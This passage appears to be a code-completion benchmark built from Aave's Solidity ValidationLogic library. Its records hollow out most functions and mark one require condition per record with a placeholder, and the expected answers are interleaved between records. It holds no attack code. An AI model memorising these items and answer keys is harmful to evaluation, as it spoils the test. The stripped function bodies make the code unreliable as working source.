storage reservesList, DataTypes.ReserveData storage reserve, address asset ) internal view { } /** * @notice Validates the action of setting efficiency mode. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories a mapping storing configurations for all efficiency mode categories * @param userConfig the user configuration * @param reservesCount The total number of valid reserves * @param categoryId The id of the category */ function validateSetUserEMode( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, uint256 reservesCount, uint8 categoryId ) internal view { } /** * @notice Validates the action of activating the asset as collateral. * @dev Only possible if the asset has non-zero LTV and the user is not in isolation mode * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig ) internal view returns (bool) { } /** * @notice Validates if an asset should be automatically activated as collateral in the following actions: supply, * transfer, mint unbacked, and liquidate * @dev This is used to ensure that isolated assets are not enabled as collateral automatically * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateAutomaticUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig, address aTokenAddress ) internal view returns (bool) { } }
!params.reserveCache.reserveConfiguration.getSiloedBorrowing(),Errors.SILOED_BORROWING_VIOLATION
435,439
!params.reserveCache.reserveConfiguration.getSiloedBorrowing()
Errors.NO_DEBT_OF_SELECTED_TYPE
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.10; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {Address} from '../../../dependencies/openzeppelin/contracts/Address.sol'; import {GPv2SafeERC20} from '../../../dependencies/gnosis/contracts/GPv2SafeERC20.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IScaledBalanceToken} from '../../../interfaces/IScaledBalanceToken.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IPriceOracleSentinel} from '../../../interfaces/IPriceOracleSentinel.sol'; import {IPoolAddressesProvider} from '../../../interfaces/IPoolAddressesProvider.sol'; import {IAccessControl} from '../../../dependencies/openzeppelin/contracts/IAccessControl.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {DataTypes} from '../types/DataTypes.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {SafeCast} from '../../../dependencies/openzeppelin/contracts/SafeCast.sol'; import {IncentivizedERC20} from '../../tokenization/base/IncentivizedERC20.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using WadRayMath for uint256; using PercentageMath for uint256; using SafeCast for uint256; using GPv2SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; using Address for address; // Factor to apply to "only-variable-debt" liquidity rate to get threshold for rebalancing, expressed in bps // A value of 0.9e4 results in 90% uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 0.9e4; // Minimum health factor allowed under any circumstance // A value of 0.95e18 results in 0.95 uint256 public constant MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 0.95e18; /** * @dev Minimum health factor to consider a user position healthy * A value of 1e18 results in 1 */ uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1e18; /** * @dev Role identifier for the role allowed to supply isolated reserves as collateral */ bytes32 public constant ISOLATED_COLLATERAL_SUPPLIER_ROLE = keccak256('ISOLATED_COLLATERAL_SUPPLIER'); /** * @notice Validates a supply action. * @param reserveCache The cached data of the reserve * @param amount The amount to be supplied */ function validateSupply( DataTypes.ReserveCache memory reserveCache, DataTypes.ReserveData storage reserve, uint256 amount ) internal view { } /** * @notice Validates a withdraw action. * @param reserveCache The cached data of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user */ function validateWithdraw( DataTypes.ReserveCache memory reserveCache, uint256 amount, uint256 userBalance ) internal pure { } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 collateralNeededInBaseCurrency; uint256 userCollateralInBaseCurrency; uint256 userDebtInBaseCurrency; uint256 availableLiquidity; uint256 healthFactor; uint256 totalDebt; uint256 totalSupplyVariableDebt; uint256 reserveDecimals; uint256 borrowCap; uint256 amountInBaseCurrency; uint256 assetUnit; address eModePriceSource; address siloedBorrowingAddress; bool isActive; bool isFrozen; bool isPaused; bool borrowingEnabled; bool stableRateBorrowingEnabled; bool siloedBorrowingEnabled; } /** * @notice Validates a borrow action. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param params Additional params needed for the validation */ function validateBorrow( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.ValidateBorrowParams memory params ) internal view { } /** * @notice Validates a repay action. * @param reserveCache The cached data of the reserve * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param interestRateMode The interest rate mode of the debt being repaid * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveCache memory reserveCache, uint256 amountSent, DataTypes.InterestRateMode interestRateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) internal view { require(amountSent != 0, Errors.INVALID_AMOUNT); require( amountSent != type(uint256).max || msg.sender == onBehalfOf, Errors.NO_EXPLICIT_AMOUNT_TO_REPAY_ON_BEHALF ); (bool isActive, , , , bool isPaused) = reserveCache.reserveConfiguration.getFlags(); require(isActive, Errors.RESERVE_INACTIVE); require(!isPaused, Errors.RESERVE_PAUSED); require(<FILL_ME>) } /** * @notice Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param reserveCache The cached data of the reserve * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the debt being swapped */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) internal view { } /** * @notice Validates a stable borrow rate rebalance action. * @dev Rebalancing is accepted when depositors are earning <= 90% of their earnings in pure supply/demand market (variable rate only) * For this to be the case, there has to be quite large stable debt with an interest rate below the current variable rate. * @param reserve The reserve state on which the user is getting rebalanced * @param reserveCache The cached state of the reserve * @param reserveAddress The address of the reserve */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, address reserveAddress ) internal view { } /** * @notice Validates the action of setting an asset as collateral. * @param reserveCache The cached data of the reserve * @param userBalance The balance of the user */ function validateSetUseReserveAsCollateral( DataTypes.ReserveCache memory reserveCache, uint256 userBalance ) internal pure { } /** * @notice Validates a flashloan action. * @param reservesData The state of all the reserves * @param assets The assets being flash-borrowed * @param amounts The amounts for each asset being borrowed */ function validateFlashloan( mapping(address => DataTypes.ReserveData) storage reservesData, address[] memory assets, uint256[] memory amounts ) internal view { } /** * @notice Validates a flashloan action. * @param reserve The state of the reserve */ function validateFlashloanSimple(DataTypes.ReserveData storage reserve) internal view { } struct ValidateLiquidationCallLocalVars { bool collateralReserveActive; bool collateralReservePaused; bool principalReserveActive; bool principalReservePaused; bool isCollateralEnabled; } /** * @notice Validates the liquidation action. * @param userConfig The user configuration mapping * @param collateralReserve The reserve data of the collateral * @param params Additional parameters needed for the validation */ function validateLiquidationCall( DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveData storage collateralReserve, DataTypes.ValidateLiquidationCallParams memory params ) internal view { } /** * @notice Validates the health factor of a user. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param user The user to validate health factor of * @param userEModeCategory The users active efficiency mode category * @param reservesCount The number of available reserves * @param oracle The price oracle */ function validateHealthFactor( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address user, uint8 userEModeCategory, uint256 reservesCount, address oracle ) internal view returns (uint256, bool) { } /** * @notice Validates the health factor of a user and the ltv of the asset being withdrawn. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param asset The asset for which the ltv will be validated * @param from The user from which the aTokens are being transferred * @param reservesCount The number of available reserves * @param oracle The price oracle * @param userEModeCategory The users active efficiency mode category */ function validateHFAndLtv( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address asset, address from, uint256 reservesCount, address oracle, uint8 userEModeCategory ) internal view { } /** * @notice Validates a transfer action. * @param reserve The reserve object */ function validateTransfer(DataTypes.ReserveData storage reserve) internal view { } /** * @notice Validates a drop reserve action. * @param reservesList The addresses of all the active reserves * @param reserve The reserve object * @param asset The address of the reserve's underlying asset */ function validateDropReserve( mapping(uint256 => address) storage reservesList, DataTypes.ReserveData storage reserve, address asset ) internal view { } /** * @notice Validates the action of setting efficiency mode. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories a mapping storing configurations for all efficiency mode categories * @param userConfig the user configuration * @param reservesCount The total number of valid reserves * @param categoryId The id of the category */ function validateSetUserEMode( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, uint256 reservesCount, uint8 categoryId ) internal view { } /** * @notice Validates the action of activating the asset as collateral. * @dev Only possible if the asset has non-zero LTV and the user is not in isolation mode * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig ) internal view returns (bool) { } /** * @notice Validates if an asset should be automatically activated as collateral in the following actions: supply, * transfer, mint unbacked, and liquidate * @dev This is used to ensure that isolated assets are not enabled as collateral automatically * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateAutomaticUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig, address aTokenAddress ) internal view returns (bool) { } }
(stableDebt!=0&&interestRateMode==DataTypes.InterestRateMode.STABLE)||(variableDebt!=0&&interestRateMode==DataTypes.InterestRateMode.VARIABLE),Errors.NO_DEBT_OF_SELECTED_TYPE
435,439
(stableDebt!=0&&interestRateMode==DataTypes.InterestRateMode.STABLE)||(variableDebt!=0&&interestRateMode==DataTypes.InterestRateMode.VARIABLE)
Errors.COLLATERAL_SAME_AS_BORROWING_CURRENCY
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.10; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {Address} from '../../../dependencies/openzeppelin/contracts/Address.sol'; import {GPv2SafeERC20} from '../../../dependencies/gnosis/contracts/GPv2SafeERC20.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IScaledBalanceToken} from '../../../interfaces/IScaledBalanceToken.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IPriceOracleSentinel} from '../../../interfaces/IPriceOracleSentinel.sol'; import {IPoolAddressesProvider} from '../../../interfaces/IPoolAddressesProvider.sol'; import {IAccessControl} from '../../../dependencies/openzeppelin/contracts/IAccessControl.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {DataTypes} from '../types/DataTypes.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {SafeCast} from '../../../dependencies/openzeppelin/contracts/SafeCast.sol'; import {IncentivizedERC20} from '../../tokenization/base/IncentivizedERC20.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using WadRayMath for uint256; using PercentageMath for uint256; using SafeCast for uint256; using GPv2SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; using Address for address; // Factor to apply to "only-variable-debt" liquidity rate to get threshold for rebalancing, expressed in bps // A value of 0.9e4 results in 90% uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 0.9e4; // Minimum health factor allowed under any circumstance // A value of 0.95e18 results in 0.95 uint256 public constant MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 0.95e18; /** * @dev Minimum health factor to consider a user position healthy * A value of 1e18 results in 1 */ uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1e18; /** * @dev Role identifier for the role allowed to supply isolated reserves as collateral */ bytes32 public constant ISOLATED_COLLATERAL_SUPPLIER_ROLE = keccak256('ISOLATED_COLLATERAL_SUPPLIER'); /** * @notice Validates a supply action. * @param reserveCache The cached data of the reserve * @param amount The amount to be supplied */ function validateSupply( DataTypes.ReserveCache memory reserveCache, DataTypes.ReserveData storage reserve, uint256 amount ) internal view { } /** * @notice Validates a withdraw action. * @param reserveCache The cached data of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user */ function validateWithdraw( DataTypes.ReserveCache memory reserveCache, uint256 amount, uint256 userBalance ) internal pure { } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 collateralNeededInBaseCurrency; uint256 userCollateralInBaseCurrency; uint256 userDebtInBaseCurrency; uint256 availableLiquidity; uint256 healthFactor; uint256 totalDebt; uint256 totalSupplyVariableDebt; uint256 reserveDecimals; uint256 borrowCap; uint256 amountInBaseCurrency; uint256 assetUnit; address eModePriceSource; address siloedBorrowingAddress; bool isActive; bool isFrozen; bool isPaused; bool borrowingEnabled; bool stableRateBorrowingEnabled; bool siloedBorrowingEnabled; } /** * @notice Validates a borrow action. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param params Additional params needed for the validation */ function validateBorrow( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.ValidateBorrowParams memory params ) internal view { } /** * @notice Validates a repay action. * @param reserveCache The cached data of the reserve * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param interestRateMode The interest rate mode of the debt being repaid * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveCache memory reserveCache, uint256 amountSent, DataTypes.InterestRateMode interestRateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) internal view { } /** * @notice Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param reserveCache The cached data of the reserve * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the debt being swapped */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) internal view { (bool isActive, bool isFrozen, , bool stableRateEnabled, bool isPaused) = reserveCache .reserveConfiguration .getFlags(); require(isActive, Errors.RESERVE_INACTIVE); require(!isPaused, Errors.RESERVE_PAUSED); require(!isFrozen, Errors.RESERVE_FROZEN); if (currentRateMode == DataTypes.InterestRateMode.STABLE) { require(stableDebt != 0, Errors.NO_OUTSTANDING_STABLE_DEBT); } else if (currentRateMode == DataTypes.InterestRateMode.VARIABLE) { require(variableDebt != 0, Errors.NO_OUTSTANDING_VARIABLE_DEBT); /** * user wants to swap to stable, before swapping we need to ensure that * 1. stable borrow rate is enabled on the reserve * 2. user is not trying to abuse the reserve by supplying * more collateral than he is borrowing, artificially lowering * the interest rate, borrowing at variable, and switching to stable */ require(stableRateEnabled, Errors.STABLE_BORROWING_NOT_ENABLED); require(<FILL_ME>) } else { revert(Errors.INVALID_INTEREST_RATE_MODE_SELECTED); } } /** * @notice Validates a stable borrow rate rebalance action. * @dev Rebalancing is accepted when depositors are earning <= 90% of their earnings in pure supply/demand market (variable rate only) * For this to be the case, there has to be quite large stable debt with an interest rate below the current variable rate. * @param reserve The reserve state on which the user is getting rebalanced * @param reserveCache The cached state of the reserve * @param reserveAddress The address of the reserve */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, address reserveAddress ) internal view { } /** * @notice Validates the action of setting an asset as collateral. * @param reserveCache The cached data of the reserve * @param userBalance The balance of the user */ function validateSetUseReserveAsCollateral( DataTypes.ReserveCache memory reserveCache, uint256 userBalance ) internal pure { } /** * @notice Validates a flashloan action. * @param reservesData The state of all the reserves * @param assets The assets being flash-borrowed * @param amounts The amounts for each asset being borrowed */ function validateFlashloan( mapping(address => DataTypes.ReserveData) storage reservesData, address[] memory assets, uint256[] memory amounts ) internal view { } /** * @notice Validates a flashloan action. * @param reserve The state of the reserve */ function validateFlashloanSimple(DataTypes.ReserveData storage reserve) internal view { } struct ValidateLiquidationCallLocalVars { bool collateralReserveActive; bool collateralReservePaused; bool principalReserveActive; bool principalReservePaused; bool isCollateralEnabled; } /** * @notice Validates the liquidation action. * @param userConfig The user configuration mapping * @param collateralReserve The reserve data of the collateral * @param params Additional parameters needed for the validation */ function validateLiquidationCall( DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveData storage collateralReserve, DataTypes.ValidateLiquidationCallParams memory params ) internal view { } /** * @notice Validates the health factor of a user. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param user The user to validate health factor of * @param userEModeCategory The users active efficiency mode category * @param reservesCount The number of available reserves * @param oracle The price oracle */ function validateHealthFactor( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address user, uint8 userEModeCategory, uint256 reservesCount, address oracle ) internal view returns (uint256, bool) { } /** * @notice Validates the health factor of a user and the ltv of the asset being withdrawn. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param asset The asset for which the ltv will be validated * @param from The user from which the aTokens are being transferred * @param reservesCount The number of available reserves * @param oracle The price oracle * @param userEModeCategory The users active efficiency mode category */ function validateHFAndLtv( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address asset, address from, uint256 reservesCount, address oracle, uint8 userEModeCategory ) internal view { } /** * @notice Validates a transfer action. * @param reserve The reserve object */ function validateTransfer(DataTypes.ReserveData storage reserve) internal view { } /** * @notice Validates a drop reserve action. * @param reservesList The addresses of all the active reserves * @param reserve The reserve object * @param asset The address of the reserve's underlying asset */ function validateDropReserve( mapping(uint256 => address) storage reservesList, DataTypes.ReserveData storage reserve, address asset ) internal view { } /** * @notice Validates the action of setting efficiency mode. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories a mapping storing configurations for all efficiency mode categories * @param userConfig the user configuration * @param reservesCount The total number of valid reserves * @param categoryId The id of the category */ function validateSetUserEMode( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, uint256 reservesCount, uint8 categoryId ) internal view { } /** * @notice Validates the action of activating the asset as collateral. * @dev Only possible if the asset has non-zero LTV and the user is not in isolation mode * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig ) internal view returns (bool) { } /** * @notice Validates if an asset should be automatically activated as collateral in the following actions: supply, * transfer, mint unbacked, and liquidate * @dev This is used to ensure that isolated assets are not enabled as collateral automatically * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateAutomaticUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig, address aTokenAddress ) internal view returns (bool) { } }
!userConfig.isUsingAsCollateral(reserve.id)||reserveCache.reserveConfiguration.getLtv()==0||stableDebt+variableDebt>IERC20(reserveCache.aTokenAddress).balanceOf(msg.sender),Errors.COLLATERAL_SAME_AS_BORROWING_CURRENCY
435,439
!userConfig.isUsingAsCollateral(reserve.id)||reserveCache.reserveConfiguration.getLtv()==0||stableDebt+variableDebt>IERC20(reserveCache.aTokenAddress).balanceOf(msg.sender)
Errors.RESERVE_PAUSED
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.10; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {Address} from '../../../dependencies/openzeppelin/contracts/Address.sol'; import {GPv2SafeERC20} from '../../../dependencies/gnosis/contracts/GPv2SafeERC20.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IScaledBalanceToken} from '../../../interfaces/IScaledBalanceToken.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IPriceOracleSentinel} from '../../../interfaces/IPriceOracleSentinel.sol'; import {IPoolAddressesProvider} from '../../../interfaces/IPoolAddressesProvider.sol'; import {IAccessControl} from '../../../dependencies/openzeppelin/contracts/IAccessControl.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {DataTypes} from '../types/DataTypes.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {SafeCast} from '../../../dependencies/openzeppelin/contracts/SafeCast.sol'; import {IncentivizedERC20} from '../../tokenization/base/IncentivizedERC20.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using WadRayMath for uint256; using PercentageMath for uint256; using SafeCast for uint256; using GPv2SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; using Address for address; // Factor to apply to "only-variable-debt" liquidity rate to get threshold for rebalancing, expressed in bps // A value of 0.9e4 results in 90% uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 0.9e4; // Minimum health factor allowed under any circumstance // A value of 0.95e18 results in 0.95 uint256 public constant MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 0.95e18; /** * @dev Minimum health factor to consider a user position healthy * A value of 1e18 results in 1 */ uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1e18; /** * @dev Role identifier for the role allowed to supply isolated reserves as collateral */ bytes32 public constant ISOLATED_COLLATERAL_SUPPLIER_ROLE = keccak256('ISOLATED_COLLATERAL_SUPPLIER'); /** * @notice Validates a supply action. * @param reserveCache The cached data of the reserve * @param amount The amount to be supplied */ function validateSupply( DataTypes.ReserveCache memory reserveCache, DataTypes.ReserveData storage reserve, uint256 amount ) internal view { } /** * @notice Validates a withdraw action. * @param reserveCache The cached data of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user */ function validateWithdraw( DataTypes.ReserveCache memory reserveCache, uint256 amount, uint256 userBalance ) internal pure { } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 collateralNeededInBaseCurrency; uint256 userCollateralInBaseCurrency; uint256 userDebtInBaseCurrency; uint256 availableLiquidity; uint256 healthFactor; uint256 totalDebt; uint256 totalSupplyVariableDebt; uint256 reserveDecimals; uint256 borrowCap; uint256 amountInBaseCurrency; uint256 assetUnit; address eModePriceSource; address siloedBorrowingAddress; bool isActive; bool isFrozen; bool isPaused; bool borrowingEnabled; bool stableRateBorrowingEnabled; bool siloedBorrowingEnabled; } /** * @notice Validates a borrow action. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param params Additional params needed for the validation */ function validateBorrow( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.ValidateBorrowParams memory params ) internal view { } /** * @notice Validates a repay action. * @param reserveCache The cached data of the reserve * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param interestRateMode The interest rate mode of the debt being repaid * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveCache memory reserveCache, uint256 amountSent, DataTypes.InterestRateMode interestRateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) internal view { } /** * @notice Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param reserveCache The cached data of the reserve * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the debt being swapped */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) internal view { } /** * @notice Validates a stable borrow rate rebalance action. * @dev Rebalancing is accepted when depositors are earning <= 90% of their earnings in pure supply/demand market (variable rate only) * For this to be the case, there has to be quite large stable debt with an interest rate below the current variable rate. * @param reserve The reserve state on which the user is getting rebalanced * @param reserveCache The cached state of the reserve * @param reserveAddress The address of the reserve */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, address reserveAddress ) internal view { } /** * @notice Validates the action of setting an asset as collateral. * @param reserveCache The cached data of the reserve * @param userBalance The balance of the user */ function validateSetUseReserveAsCollateral( DataTypes.ReserveCache memory reserveCache, uint256 userBalance ) internal pure { } /** * @notice Validates a flashloan action. * @param reservesData The state of all the reserves * @param assets The assets being flash-borrowed * @param amounts The amounts for each asset being borrowed */ function validateFlashloan( mapping(address => DataTypes.ReserveData) storage reservesData, address[] memory assets, uint256[] memory amounts ) internal view { } /** * @notice Validates a flashloan action. * @param reserve The state of the reserve */ function validateFlashloanSimple(DataTypes.ReserveData storage reserve) internal view { DataTypes.ReserveConfigurationMap memory configuration = reserve.configuration; require(<FILL_ME>) require(configuration.getActive(), Errors.RESERVE_INACTIVE); require(configuration.getFlashLoanEnabled(), Errors.FLASHLOAN_DISABLED); } struct ValidateLiquidationCallLocalVars { bool collateralReserveActive; bool collateralReservePaused; bool principalReserveActive; bool principalReservePaused; bool isCollateralEnabled; } /** * @notice Validates the liquidation action. * @param userConfig The user configuration mapping * @param collateralReserve The reserve data of the collateral * @param params Additional parameters needed for the validation */ function validateLiquidationCall( DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveData storage collateralReserve, DataTypes.ValidateLiquidationCallParams memory params ) internal view { } /** * @notice 